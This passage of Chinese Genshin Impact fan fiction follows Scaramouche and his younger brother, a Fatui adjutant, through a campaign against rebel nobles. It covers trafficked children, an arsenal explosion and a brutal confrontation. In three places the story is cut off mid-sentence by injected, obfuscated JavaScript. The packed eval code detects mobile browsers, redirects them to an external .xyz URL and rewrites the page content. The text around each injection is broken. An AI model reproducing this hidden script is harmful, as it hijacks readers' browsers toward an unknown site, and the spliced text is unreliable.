月见里清也懒懒散散的行了个礼,“当然大人,乐意为您效劳。” 散兵哼笑一声,不吃他这一套:“少来。” “这是真的。”月见里清也装作若有所思的样子,“毕竟我能拿到神之眼有一半的功劳在你,当然得为你鞍前马后了。” 散兵皱眉,“哈?” 月见里清也不打算解释,一只脚都踏出门外了,突然想起什么又返回来,“我今晚想吃茶泡饭。” “回来说清楚。” “——谢谢哥哥!” 月见里清也早脚底抹油似的跑了,将他哥的话甩在身后,只当做没听见。 散兵:“……” 根据这几天的情报来看,针对贵族的计划进行的非常顺利。 眼下的月见里清也并没有多少工作要忙,自从第六席完成“饵”这个任务后,女皇甚至特批了第六席两天假期。 他处理完上次对接工作遗留的尾巴,又去了散兵的办公室看看有没有落在这里的文件,却意外的在桌上发现了一沓他之前没见过的文件。 由于并不是加密文件,月见里清也顺手翻了两页,发现这是一份供词。 手上的事都处理完毕,暂时没事干的他想去看看这位嫌疑人是不是爆炸案发生当天所见的人。 他看了一眼时间,距离离下班还早,拿着文档去了审讯科,有了上次参与审讯的经历,他找到了上次在旁边陪审的士兵。 月见里清也开门见山问道,“这几天审讯科有一场审讯?” 士兵想了想回答说:“上次港□□炸后捉住了一个行迹诡异的人,大人将他带回来审问后,确认了他就是参与爆炸的一份子。” 月见里清也想起那个找理由搪塞自己的工作人员,点点头又问:“那人呢?” “转走了,引爆港口这种罪名是要上法庭的吧,”士兵说着,过后又小声补充一句,“不过他可能撑不到上法庭。” “什么意思?”月见里清也不明所以。“你们下死手了?” “不是我们,我们肯定得按规定的手段来。”士兵解释道:“这人是······是大人审的。” “大人亲自审的?”月见里清也有些不可思议。 “对。”士兵答道。 得到答复的月见里清也摆了摆手让他离开,往回走时又翻开了那份文档,他忽略掉前面有关爆炸案的部分,直接翻到最后。 既然是散兵亲自审的,这个人想说的不想说的,都会在他的手段下吐的一干二净。 在散兵的审讯下,那人交代了自己是在为斯米尔诺夫家干活,有关那位老爷的事他知之甚少,但能将爆炸案交到他手里完成,也算斯米尔诺夫信任的人。 至于他的日常工作,就是负责将来往船只偷渡来的孩子们挑选一部分长得好看的、符合贵族心意的,单独带到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896352|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栋房屋内,再送到斯米尔诺夫这些贵族手里。 不过半页纸的内容,看的月见里清也胃里反酸,他上次进到私人港口收集情报时,注意到了那些被拐卖来的孩子们,只不过港口查封的时候这事被库嘉维娜接手,后续怎样不得而知。 以现在情况来看,或许还有很多孩子被贵族私藏起来用于享乐。 月见里清也将这份文件放回原位,正准备离开办公区时感觉肩膀被猛的一拍。 他回过头,认出了拍他的人是上次跟第四席对接工作时那边派来的人,眼前这个棕色头发,脸上有雀斑的少年也是库嘉维娜收养的孩子,名字叫卢西安。 月见里清也没有回话,盯着卢西安还放在他肩膀上的手。 对于认识的人,出于礼貌,他通常会控制住把对方甩开的念头,但不代表他习惯了对方的触碰。 注意到视线的卢西安连忙将手收回来,陪笑道,“对不起,对不起,忘记你不喜欢别人碰了。” 卢西安在第四席里没有明确的官职,但从和自己的接触来看,月见里清也猜测他应该也是一个比较受重用的,除非这孩子就是天生的心大,谁都能聊的来。 “没关系。”肩膀上的触感消失后,月见里清也绷紧的肌肉逐渐放松:“你来第六席是有什么事要办?” “其实……也不是什么很重要的事,”卢西安挠挠头,“我是第四席派出的队伍里其中一个队长,我来是想问问,在讨伐贵族的行动里我能和你一起行动吗?” 月见里清也沉思片刻问道:“这是仆人大人的意思?” “算是吧。”卢西安有些不好意思,“毕竟你们掌握的情报多,跟着你们能省劲一些。” 卢西安说的有些含糊,但不妨碍月见里清也理解这话背后的意思。 散兵将口供递上去的时候肯定对后半截做了处理,或许是库嘉维娜察觉到了什么,才会让卢西安过来试月见里清也的态度 卢西安说的好听,其本质还是想和第六席合作跟在后面捞好处。 一堆被拐卖来的孩子对于第六席而言确实没有什么用处,但月见里清也也没将和第四席合作这件事说死,只模棱两可的说了句“到时候再安排吧。” 秉持着绝不无故加班的月见里清也回到家时,正好赶上饭点,换下衣服就直奔厨房,“真的做茶泡饭了?” 散兵正好将两碗饭从厨房端出来放在餐桌上闻言道:“你鼻子倒是灵。” 白色的米饭泡在茶汤里,上面盖着一块煎好的鳗鱼肉,又撒上了一层海苔和芝麻,光是看着就让人食指大动。 月见里清也刚拉开椅子准备坐下,就被散兵轻踢了一下,“先洗手再吃。” 等他洗好手回来,顺路拿了筷子和勺子,俩人边吃边聊的吃完晚饭。 秉持着做饭的人不刷碗的原则,月见里清也把碗筷收起来,想起下午卢西安来找他:“哥,下午卢西安来找过我,说是要带队和我一起行动,不过我觉得说‘合作’更贴切一点。” 厨房的水流声太大,散兵只好离近点听他说什么,“嗯,和你进门一样,闻着味就过来了。” “嘶……”月见里清也咂了咂嘴,“说他们呢别扯我。” “实话实说而已。”散兵说,“我没完全把这条消息透露出去是怕库嘉维娜和上次一样来找我,这条消息还有用,不能提前让出去,但这么多孩子确实需要有人来接手。” “明白了,所以在模棱两可的情况下,她选择让卢西安来试探我。”月见里清也关掉水龙头,坏心眼地把挂在手上的水珠甩散兵身上。 “据爆炸案的嫌疑人交代,在他最近一次送孩子的时候跑了一个男孩……啧。”散兵话音戛然而止,皱着眉看向月见里清也,“你多大?” “略。”月见里清也做了个鬼脸。 “……幼稚。”散兵抬手从橱柜抽下一条毛巾往他脸上一扔。“总之,靠着那个走丢的孩子,我们找到了贵族安置那帮孩子的秘密地点。最近一段时间内贵族忙着招兵买马,无暇顾及他们,那里得看守很松。” 月见里清也打了个响指,“所以……你让我们的人潜入进去,向那群孩子套情报?” “这几天贵族动向相必那群孩子也应该也察觉到了。年长的孩子会成为主心骨,就看他们能不能抓住这次机会了。” 14. 雪夜烟火 几天后,贵族造反的声势越来越大,胆子也越发狂妄,在月见里清也看来,他们像是准备直接讨伐女皇,让至冬再换一位神明。 不过这也达到了女皇和执行官的预期,铲除贵族的最后一步,也终于被提上日程。 具体实施计划下发后,月见里清也意外发现第六席的队伍正好对上的是斯米尔诺夫的军队。 “啧,不是冤家不聚头。”月见里清也半开玩笑的感叹一句。 散兵还在看地图,顺着他话说:“嗯,我们下一步……” “不不不。”月见里清也伸手压住地图,迫使散兵抬头看他,他伸手指指自己说,“不是‘我们’而是‘我’。” 不等散兵开口说话,月见里清也打断道,“毕竟在他们眼里中已经将你杀死了啊,按剧本来你现在应该还在躺板板才对。” “贵族里都是老家伙了,对超自然现象的接受能力不好,就别吓他们啦。” “我要没记错,在他们眼里你也应该死了才对。”散兵表情有点摊,不咸不淡地说。 “五年前他们就杀了我一次,我不还是活的好好的?我可没丧心病狂到给自己心脏来个对穿。”月见里清也说。 散兵一言不发,就这么盯着他。 月见里清也被散兵盯地头皮发麻,连忙找台阶,“好了好了,这不都是为了大计嘛,况且你伤又没好利索,再说你不还给贵族准备了一份大礼么?” “……随你安排吧。”散兵没再说什么。 月见里清也松了口气,连忙跑去第六席基地安排任务去了。 计划开始的前一天,月见里清也派人去第四席找卢西安,同意了他加入第六席行动的请求。 月见里清也带先遣队伍驻扎在野外的雪原里,散兵坐镇大本营后方,分工明确。 营地里的条件和普通先遣队差不了多少,不比家里,但月见里清也不畏寒,自然比其他人要好一些。 夜晚气温骤降,天上又开始纷纷扬扬的飘雪花,即使点燃了火堆也于事无补。 士兵们交谈的声音透过帐篷传进来,帐篷里生了一堆火,卢西安正守在一旁取暖。 他站起身跺了跺自己被冻的发麻的脚说:“你不冷吗?” 月见里清也外边只穿着愚人众的制式大衣,没和卢西安一样把自己裹的里三层外三层,想了想回道:“冷,但还好。” 卢西安小声嘀咕道:“真羡慕你们这些和小火炉一样的人。” 月见里清也和卢西安的队伍没有一开始就跟斯米尔诺夫的队伍碰上,这几天里他一直在有意无意的带队伍靠近贵族关押孩子们的所在地。 一方面是为了借机让卢西安的人接手那里边的孩子,另一方面则是如果斯米尔诺夫不改变行军路线,月见里清也就可以直接带队袭击他队伍后方。 夜晚的大雪可以很好的将他们的行军路线抹除。 月见里清也挑开帐篷的门帘,冷风顺着缝隙灌进来,让在帐篷里的卢西安打了个哆嗦。 外面零星的雪花已经变成了鹅毛大雪,月见里清也松了口气,但还没等这口气吐完,他借着外边火堆的火光瞥见了一抹熟悉的身影。 他刚要开口便冷不丁被风呛住,等平复下来之后那个身影却早已消失不见。 卢西安被他咳嗽吓了一跳,忙过来拍他背,“怎么了这是,外边有什么东西吗?要不先喝口水顺顺。” “没事,被冷风呛了一下。”月见里清也当然不能说外边有什么,顾不得卢西安拍他时的触碰,连口水来不及喝,顺过气来就要往外走,“我去巡查一下守夜的,天太冷要是睡着了就醒不过来了。” “哦好。”卢西安不疑有他,他基本没有带队在雪原执行任务经验,这种情况下只能相信月见里清也的安排。 出了帐篷的月见里清也避开周围守夜士兵的视线,走到远离营地的一处地势较高的树林,不可置信道:“你不是应该在后方的吗!” “避开他们的视线并不是什么难事。”散兵从树后走出,耸肩回道。 月见里清也就不该指望散兵能好好的呆在后方等他回来,在叛逆这方面他们出奇的相似,“但问题是这个吗,哥哥?” 散兵反问:“你该不会真的认为我会待在后方吧?” 月见里清也:“……” 他当然知道不可能。 他叹了口气,用手比划了一段距离,“但我还是有那么一小点的期待。” “那还是真为你的这一小点期待感到抱歉。”话虽如此,散兵语气里没有丝毫歉意。 “言归正传,”散兵打了一个响指,“‘礼物’已经准备好了,想跟我一起去送吗?” 今夜队伍里无事,他都千里迢迢的过来邀请了,月见里清也当然不会反对:“走吧。” 他们要去的地方离营地并不远,顺着树林一直往地势高的地方走,越向上风刮的越大,尽管散兵在他前面抵挡了部分风,但透过来的冷风依旧刮的凌冽。 月见里清也看了一眼没戴斗笠反而是把大衣帽子戴上的散兵,有样学样地也把大衣的帽子戴上。 虽然他私下调侃过散兵这样穿衣服毛茸茸的像个紫薯面包,但不得不说这种穿法真的很暖和。 在好看和温度之间,他暂时选择温度。 来到一处视野开阔的空地,没有树林的遮挡后甚至可以隐约看到远处建筑的灯光。 散兵指着远处隐约的灯火问:“猜猜那是什么?” 距离太远,月见里清也看不真切,他摇摇头:“看不清,大约是个建筑?” 散兵点头:“还记那帮被贵族关起来的孩子吗?” “我本以为这帮孩子能力有限,翻不出太大浪花,但他们出乎我所料。”不等月见里清也回答,散兵饶有兴趣地说,“那是他们储存军火的位置。” 月见里清也觉得自己刚压下没多久的咳嗽又要犯了,他有些不确定:“这种消息光靠一个孩子就能打听出来?会不会有些巧……” “我怀疑过。”散兵递给他一张纸,上面是眼线传回来的消息,“查过了,他们还算老实。” 不仅仅是军火库,那帮孩子嘴里说出来的东西远超二人想象,从军事要地到宅邸密道,甚至还有违规药剂的配方。 可以想象,贵族酒后都是大漏勺,喝了点酒就差把自己祖宗十八代说出来了。 要不是散兵先一步找上他们,凭着这些东西,那帮孩子靠自己就可以把贵族闹得天翻地覆。 至于不远处矗立在黑暗中的军火库,除了毁掉之外,月见里清也实在是想不出还能玩出什么花来。 “接着。”散兵向他抛过来一个东西,月见里清也下意识地接住,发现是个启动装置。 月见里清也挑 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直到那座建筑彻底沦为一片火海,散兵才说:“走吧,你离营地太久了。” 这场烟花声势过于浩大,即使位于地势低的营地并不能直接看到远方烧起来的军火库,但刚刚的巨响也足以引起队伍的警戒。 如果这时全营地上上下下找不到月见里清也,显然不合适。 他们沿着原路返回至树林,月见里清也要回营地,散兵要回后方,二人不同路。 月见里清也突然停下脚步,散兵回头看他,疑惑道:“怎么了?” 月见里清也犹豫片刻说:“你保证你老老实实的回营地。” 散兵挑眉:“怎么,不信我?” “没有。”月见里清也抓了抓自己额前的碎发,“主要是你经常嘴上答应,转头就……” “啧,这是该对哥哥说的话吗?”散兵不满。 “一码归一码。”月见里清也开始翻旧账反击道:“那今晚散兵大人是不是应该按照约定的那样在后方帐篷里休息呢?” 散兵:“……” “气温低不利于伤口恢复的你知不知道。”月见里清也继续说着,“虽然咱们体质比一般人好,但你也不能……唔!” 散兵为图耳朵清净,直接上手捂住了月见里清也喋喋不休地嘴:“快别念叨了我的副官大人。” “……”被捂嘴说不出话的月见里清也只能拿眼瞪他。 散兵挑眉说:“知道你眼睛大,瞪出来我还得找个碗接着。” 月见里清也气结,大有一种你不答应我就陪你耗的架势。 散兵没法,只能说道:“……那我就勉为其难的在后方待着,等着你凯旋的好消息,满意了?” 月见里清也说:“……勉为其难?” “……”散兵头疼,“心甘情愿总行了吧。” 月见里清也这才满意的点了点头。 散兵:“……” 真是个要命的祖宗。 走出树林后就要往不同的方向走,月见里清也正想打个招呼离开时,却被散兵拍拍肩膀:“接下来交给你了。” 月见里清也不由得一怔,想回话时散兵已经走出几步路了。 他说:“放心好了。” 散兵冲他摆摆手,身影逐渐融入雪夜之中。 15. 梅瑞狄斯 即便那声突如其来的巨响已经过了一夜,但依旧是今日士兵之间热议的话题。 月见里清也对于此事揣着明白装糊涂,找了个理由糊弄过去便绝口不提此事,倒是给一旁想八卦的卢西安憋得够呛。 要不干脆混士兵堆里偷听算了,卢西安脑海里天人交战,想去怕队长身份有碍,不去求知欲得不到满足又很难受。 卢西安在这纠结,月见里清也看他自起床就一副纠结的样子有些难受,便想着给他转移一下注意力,“卢西安。” “咱们要改道去看看吗?”卢西安脱口而出。 “……不。”月见里清也残忍拒绝,“这要是逛街我很支持你八卦,但很遗憾,我们这是在执行任务。” 眼见卢西安一脸失落,月见里清也话锋一转,“不过我有一个你感兴趣的情报。” 他简单扼要的给卢西安讲了孩子们的事,隐去了不必要的细枝末节。 库嘉维娜手里有一所名叫『壁炉之家』的孤儿院,有关孩子们事她上心,作为她手下的卢西安更上心。 也正因为卢西安比库嘉维娜好糊弄的多,所以月见里清也隐藏了一些不必要事情。 如他所料,卢西安更关心孩子们的事情,反而对于“月见里清也是怎么知道的”这个问题,到没有太过在意。 昨晚军火库一炸,意味着孩子们的任务就此结束,是时候让第四席接手了,想到这里,月见里清也暗自松了口气——他的确不太擅长应对小孩子。 爆炸不光打了斯米尔诺夫一个措手不及,月见里清也的计划也不能再用了,他在雪地上草草的画出周围地形,思考接下来该如何行动, 良久,他揉着脖子直起身,问守在一旁的士兵:“卢西安还没有回来?” “并没有,大人。”士兵回道。 今早他将关押孩子们的地址告知卢西安,几小时后卢西安带着一小队的人手前去救人,按理说应该回来了才对。 月见里清也随手将画图用的木枝丢进火堆中,几脚毁掉他刚设计出的路线图,吩咐道:“再过半小时还不见人影就带着二队的人去看看。” 第四席的人要出了什么事,他回去可没法交代。 一旁的士兵应道:“是。” 所幸过了十几分钟后,卢西安终于带着队伍和几个孩子回来了。 消息汇报给月见里清也时,他刚好在营帐外,听到消息后便往卢西安的方向走去。 等他赶到时,卢西安正忙着吩咐手下去安置那些孩子,这位新晋队长的头发有些过于凌乱,神情也倦怠,不像是赶路导致的。 “路上遇到袭击了?”月见里清也神情严肃。 “害,别提了。”卢西安叹气,“没遇到袭击,倒是差点让一小祖宗累死。” 见不是袭击,月见里清也的表情缓和了许多。 人在应激状态下会做出很多保护自己的反应,更何况这还是一群还未成年的小孩子。像卢西安这种有跟小孩子打交道经验的尚且如此,更别提压根不会照顾孩子的月见里清也。 “呐呐呐,就是那个,看到那个灰色头发的男孩了吗?”卢西安指着不远处的一个正在登记信息的男孩子,“一路上试图逃跑好几次,还有两次真让他成功了,说什么都不想跟我回来。” 月见里清也有些意外,他挑出来的那支队伍能力算是中上的,竟然能让一个小孩子逃脱两次:“看不出来啊,这孩子身手到还行。” “其实也没多好,主要是这孩子有神之眼,防不胜防。”卢西安也不过十九岁,少年人的情绪在有宣泄口后便收不住。 月见里清也就在一旁静静听着,偶而附和两句。 虽然卢西安也恼火男孩几次三番的逃跑,但也不至于跟小孩子置气,倒完苦水后又跟士兵吩咐道:“哎那个男孩腿上有伤,你们注意点一会带他去处理下······” 一帮孩子里最显眼的就是他,男孩虽然头发凌乱,但一对兽耳从藏在发间,想让人不注意都难。 月见里清也猜测他是因为自己长生种的身份遭遇了什么,才如此戒备。 就如之前所说,他不会和小孩子打交道,所以也不想插手这件事,跟卢西安打声招呼后就走了。 因营救孩子们的事他们决定在这里多呆了一晚,明天一早再出发。 至冬的雪季跟其他国家相比格外漫长,天黑的也格外早,等到晚饭时间,天已经黑了个透彻。 而今日因为多出几个孩子的缘故,月见里清也一早吩咐过晚饭的饭菜准备的丰盛一些。 饭菜的丰盛也调动了士兵们的情绪,欢快的氛围也渐渐感染到孩子们的身上,眼见气氛越来越热闹,月见里清也才不得不出面控制。以防一顿普通的晚饭硬生生吃成庆功宴,引来敌人的注意。 晚饭过后,士兵开始各司其职,休息的去休息,巡逻的巡逻,四周又恢复了往常的寂静。 月见里清也没有回营帐,而是跟卢西安坐在营帐外的火堆旁,他用一根木枝戳着火堆,搅的火星四溅,“孩子们那边都安排好了?” “嗯,”卢西安点点头,“接下来怎么安排。” “很简单,直接打。”月见里清也说,“近几日另外几位大人那边任务进行的很顺利,贵族接连败退。昨晚那场爆炸给那位贵族老爷吓坏了,认为后方也不安全,把半数兵力调回去保护自己。” “但是从这里往回赶只有峡谷一条路是近路,而我们离峡谷很近,即使他们快马加鞭也不可能比我们先到,明日一早我们过完峡谷就引爆炸药,让山路塌方,堵死他们的路,迫使他们迂回绕远。”月见里清也说着,将一颗小石子放在雪地上,代表被堵死的山路。 “如果火药充足还可以把他们后路也给炸了,直接将他们堵死在山谷里。眼下没有多余火药,我也就是这么一说。”不知道是不是卢西安的错觉,他总觉得月见里清也语气颇为遗憾。 ……或许月见里清也真的想把这队人马全活埋在山谷里。 卢西安被自己的想法瘆得打了个哆嗦,连忙把这想法甩出去,继续听他讲。 “随后我们直奔斯米尔诺夫的府邸所在之地,但是在这里。”月见里清也用树枝画出一条线路,停顿在某处,“我们来时路过的冰湖,这一连几天的大雪足以让湖面彻底冰封住,我会派一支小队护着你和孩子们横穿去往对岸,对岸距离第六席的后方大本营很近,贵族不敢杀过去。” “剩下的就是我的事了,赶在军队支援之前,擒贼先擒王,剩下的军队群龙无首,不成什么气候。”月见里清也嗓音温润,话说的漫不经心,直到这句话才认真起来。 嘴上说着“擒贼先擒王”,但实际上像是在说“怎么样才能把斯米尔诺夫的狗头割下来”。 卢西安不寒而栗,迟迟没回话。 月见里清也却丢了那根木枝,又找了根干净的,将早些时候找来的果子串了上去,“怎么,计划有什么问题?” “不,没有。”卢西安回神,随口寻了个理由离开。“时间不早了,我去看看孩子们,你也早点休息。” 他先前只当月见里清也是和他差不多的同龄人,但刚刚经过讲述计划才发现,月见里清也此人虽然看着随和,内里的老谋深算与心机让人心惊。 能面不改色的用着最平常的语气讲出不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896354|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知死伤多少的计划,周密的让人无可挑剔,仿佛是在与你说明日出去玩吃什么一样。 卢西安差点忘了,月见里清也是第六席执行官的副官。 月见里清也百无聊赖的烤着果子,突然对着一旁道:“别躲了,出来。” 右侧帐篷后冒出一个灰色脑袋,男孩迟疑片刻才走上前去。 原本乱蓬蓬的头发恢复柔顺,一对耳朵从发间冒出,脸上的尘土也被擦拭干净,眉目倒是有几分书卷气,就是瘦的和个竹竿一样。 月见里清也看了一眼就收回视线,示意身旁卢西安坐过的位置:“坐。” 竹竿刚刚坐下,月见里清也说:“想要逃走的话就往西走,不过我劝你别乱跑,雪原上没有食物你撑不了几天。” “我……能不能问你一件事?”男孩碧绿的眼睛紧盯着月见里清也。 木枝上的果子的果皮受热涨开,香味渐渐飘出来,月见里清也换了一个面,惜字如金道:“问。” 男孩迟疑片刻,手指绞着衣服说:“你能不能带我走?” “什么?”月见里清也怀疑自己听错了,好笑道:“孩子,刚刚走的那位才是负责你们的人,你找错人了。” “我没有。”男孩辩解道:“我不想......” 月见里清也打断他,“你知道我是谁吗?” 男孩摇摇头。 “你叫什么名字?” “梅瑞狄斯。”男孩说。 “好,梅瑞狄斯。”月见里清也说,“我不知道是什么让你产生了错觉,觉得我可以带你走,但你听好:” “第一,我在执行任务,不可能扔下一整队的人不管去送你回家。第二,我们有专门收留孩子的地方,我这里不是托儿所。第三,我也不是什么好人。所以你现在最明智的选择是回到你们的帐篷里睡觉,明天一早准备启程。” 梅瑞狄斯却固执的说:“我不要求你送我回家,你把我收进你们队伍里都行,我什么都能干。” 月见里清也气笑了:“你看着也就十三四?我们不收童工。” “我十六了,只是长得矮点。”梅瑞狄斯插嘴道。 “有什么区别吗?”月见里清也耐心告罄,“那我换种说法,你觉得你有什么价值是我非要不可的?” 梅瑞狄斯脱口而出,“我有神之眼。” “神之眼……”月见里清也哼笑道,“有神之眼又怎样?我也有。我现在随便从队伍里抽一个士兵出来,即使没有神之眼也能单手给你撂趴下。” “你该真不会以为有神之眼,能从我手底下的兵里逃脱一两次算真本事了吧?”月见里清也语气轻了三分,但就像在棉花里藏着的那根针,刺的让人害怕。 果子另一侧的果皮也随着火焰涨开,果子烤制过的香气弥漫在二人之间,月见里清也将木枝从火上撤下。 梅瑞狄斯被月见里清也反驳的哑口无言,盯着眼前雪地发呆,忽然觉得眼前银光一闪,抬眼看去发现是月见里清也右耳带的耳饰映出来的光芒。 果子在冰天雪地里迅速失去温度,月见里清也将他取下来丢给梅瑞狄斯,“吃完了就回去,别在这浪费时间。” 月见里清也说完后就起身离开,返回营帐内。 第二天一早,就当他以为昨晚这个小插曲过去时,卢西安慌慌张张的跑来找他。 卢西安嘴里没忍住骂了几句,“那小子又跑了!” 月见里清也一时没反应过来,“谁?” “梅瑞狄斯!”卢西安说,突然想起来月见里清也应该不知道他的名字,“就是昨天我指给你看的那个灰色头发的长生种男孩!” 16. 雪中燎原(其一) “鬼知道他是怎么从巡逻守卫的眼皮子底下溜走的,哦差点忘了他有神之眼。”卢西安气的在营帐里走来走去,也顾不上昨晚和月见里清也之间有点微妙的气氛。 “派人找了吗?”月见里清也问,顺手递给他一杯茶,压压火气。 卢西安将茶一饮而尽,“找了,大概是昨晚偷偷溜的,周围找过一遍了连影子都没有。” “我有事和你商量。”月见里清也敲敲桌子,由于卢西安闯进来的急,他头发还没束起,绀色长发披散在身后,看着比昨晚少了很多攻击性。 或许是这个缘故,卢西安也不怵他了,“你说。” “我可以加派人手将搜索圈再扩大一点,九点之前找到人最好,没找到我们也必须放弃,整合队伍穿越峡谷。”月见里清也说,“你明白吗?” 他们的首要任务还是对付贵族,救这帮孩子只是顺带的,不可能本末倒置,这点卢西安清楚:“明白。” 但不知道是不是这熊孩子跟月见里清也命里犯冲,临近九点,派出去的人手都没找到人。 在等下去就会耽误战机,月见里清也当机立断通知各队伍集合,穿越峡谷。 在队伍离开峡谷后,月见里清也将炸药的安装地点选在了出口处,峡谷两侧都是陡峭的悬崖,山体上覆盖着冰雪,脚下一滑轻则多处骨折,重则当场毙命,队伍要想带着物资和装备爬上去根本不可能。 一声巨响后,山石滚落而下,彻底堵死了出口。 出口处被堵死,唯一的出路就是原路返回,从别处绕原路前往。 这样一来就会给月见里清也争取很多时间,能赶在支援到来前杀掉斯米尔诺夫。 部队行至冰湖,按照计划月见里清也派一小部分人护着卢西安和那帮孩子们横穿过去,自己则带着剩下的人前往斯米尔诺夫的府邸。 斯米尔诺夫的府邸位于一处山脚下,背靠群山,从后方潜入的办法行不通,队伍暂时驻扎在不远处,而月见里清也则带着几个人去往附近的高地,借助地势观察着周围的布防。 经过小半天的勘察,月见里清也大体摸透了他们的巡查路线和换班。 由于人数上的差距,月见里清也不想跟他们起正面冲突,好在驻守在府邸外围的士兵作战士气不高,白天还好,到了夜晚由于气温骤降和困倦,防守漏洞百出。 他打算前半夜按兵不动,后半夜等所有人都松懈警惕后再打他们一个措手不及。 临近午夜,远处传来骚乱声。 月见里清也听到声响后从营帐走出,甚至不需要望远镜他都能瞧见远处的火光,偏巧今夜有风,火势随风迅速蔓延。 “大人!”负责侦查的士兵慌张地跑过来禀报情况,“斯米尔诺夫的驻守军营地不知道什么原因突然失火。” 负责对付斯米尔诺夫的只有第六席,由于未到行动时间他手里的队伍都在原地休整。到现在为止也没有其他队伍来跟他通气,那就说明这把火不是愚人众放的。 或许是因为那个士兵抽烟忘记将最后的余烬全部熄灭,也可能因为某个倒霉鬼失手打翻了灯盏。 总之谁知道呢,月见里清也懒得去想。 他只知道现在是个千载难逢的好机会,可以直接趁乱潜入府邸。 “去通知所有队伍,不等后半夜了,现在就行动。”月见里清也下令。 迅速蔓延的火势,又碰上午夜,许多士兵从睡梦中惊醒,来不及穿戴好便慌忙逃命,整个军队自顾不暇。 所以没人注意到一个小小的身影从帐篷里钻出,趁乱跑了出去。 也不知跑了多久,男孩的体力终于告罄,脚下一软摔倒在地。 月见里清也藏在雪地的山坡上,从这里能直接看见阵脚大乱的驻守军,吩咐手下的几个队长:“外围的队伍如果没有反击便不管,重点是藏在府邸里的那些。” “是。”几个队长回道。 “报告大人!”突然横插出一个声音,打断了月见里清也接下来想说的话,“我们刚刚发现从敌方营地里跑出一个孩子,已经抓回来了。” 月见里清也皱眉,抬手示意几个队长原地待命,等着士兵将人带来。 带过来的男孩脸被烟雾熏黑,看着脏乎乎的,但这并不妨碍月见里清也认出他来,那头灰色头发和兽耳就暴露了一切。 他身后几个队长窃窃私语:“看他有点眼熟啊。” 月见里清也眼皮一跳,觉得这小孩真和自己犯冲,“梅瑞狄斯?” 梅瑞狄斯低头不语。 月见里清也没时间跟他耗在这里,为了以防万一还是吩咐道:“搜搜他身上有什么。” 谁也不知道梅瑞狄斯逃走后经历了什么,他都是刚从敌人的营地里跑出来的,不论怎样月见里清也都不能放松警惕。 “大人,我们搜到了这个。”士兵把搜到的东西呈上来。 这是一个空掉的火柴盒,一侧的磷面有严重的划痕,看起来像是在点燃火柴时用力过猛。 逃跑的孩子,刮大风的夜晚营地突然失火,以及在这时出现的梅瑞狄斯和他身上搜出来的火柴盒。 一条线将这些线索串联起来,呈现在众人眼前。 几个小队队长脸上露出不可置信的表情。 月见里清也盯着他说:“是你放的火。” 他并不是询问,而是笃定这把火就是梅瑞狄斯放的。 梅瑞狄斯老实回答:“是。” 月见里清也眼中晦暗,不知在想什么,盯着他看了半晌,似笑非笑的起了身,“留几个人看住他,剩下的等我回来再处理。” 自从军火库被炸,斯米尔诺夫的情绪一天比一天差。 他越是恐惧,越是要用愤怒来掩盖恐惧。 府邸上到管家下到仆人,每天大气都不敢喘,生怕触了老爷的霉头。 但此时此刻,斯米尔诺夫暴怒的咒骂声自然穿透了书房的木门,管家听着这些话,叹了口气,将下人都赶去别的地方。 斯米尔诺夫抓着酒瓶灌了一口,浑浊的眼珠死死盯着乔里安:“你说过万无一失的...现在连营地都烧了!那个疯子下一个目标就是我!” “请放心,老爷。”乔里安安抚道,"我已经安排了……” “闭嘴!”斯米尔诺夫将手中酒被砸过去,“我要你今晚守在这里,寸步不离!” 这些天以来,斯米尔诺夫的确厌恶乔里安的失策,但他实在惜命,局势发展到现在,他无法改变身边只有乔里安这一根救命稻草的事实。 等到乔里安从书房捂着脸出来,下人们都松了口气,管家这才来询问乔里安需不需要备车送他回家。 斯米尔诺夫刚刚在书房里勒令他留下来保护自己,乔里安自然不会违抗命令,他不自然的捂着脸颊摇了摇头,“我今晚留在这里。” 管家说:“那我为您安排今夜需要的用品。” 管家欠身离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好久不见,月见里副官,您这么快就从丧失亲人的痛苦走了出来,还真是让我有些意外。”乔里安扯出一抹笑,私下示意军士赶紧撬开门锁。 月见里清也礼貌地笑着,“劳你挂念,家兄还在养伤,所以就由我代替他来拜谢诸位的一刀之礼。” 军士的惨叫从后方传来,他的手黏在门锁上,水木藤迅速缠绕至全身,藤木上的长刺刺入皮肉,将他扎成了一个血人,幽蓝色的藤木染了血液,散发着不祥的暗红色。 月见里清也只扫了一眼便收回了视线,“不是说了吗,不想死就别动。” 水木藤还在不断缠绕收紧,几秒后,乔里安听到身后传来骨头断裂的声音。 身后的惨叫声还在继续,月见里清也没打算收手。他记得这人是斯米尔诺夫的护卫之一。 即使是这样的小角色,月见里清也都没打算放过。 乔里安紧张地咽了一口口水,终于意识到眼前的少年不是那日任人拿捏的俘虏,这才是他真正的实力。 那天发生的一切不过是愚人众演给贵族的一场戏! “终于意识到了?”月见里清也察觉到乔里安的神色变化,讥笑道:“你引以为傲的两场计谋不过都是愚人众给你们部下的圈套,现在才意识到,不觉得有点晚吗?” 身后的军士已经被折磨的不成人形,自己的下场肯定比这惨烈百倍,乔里安脸色惨白,暗自祈祷宅邸的人能听见军士的惨叫。 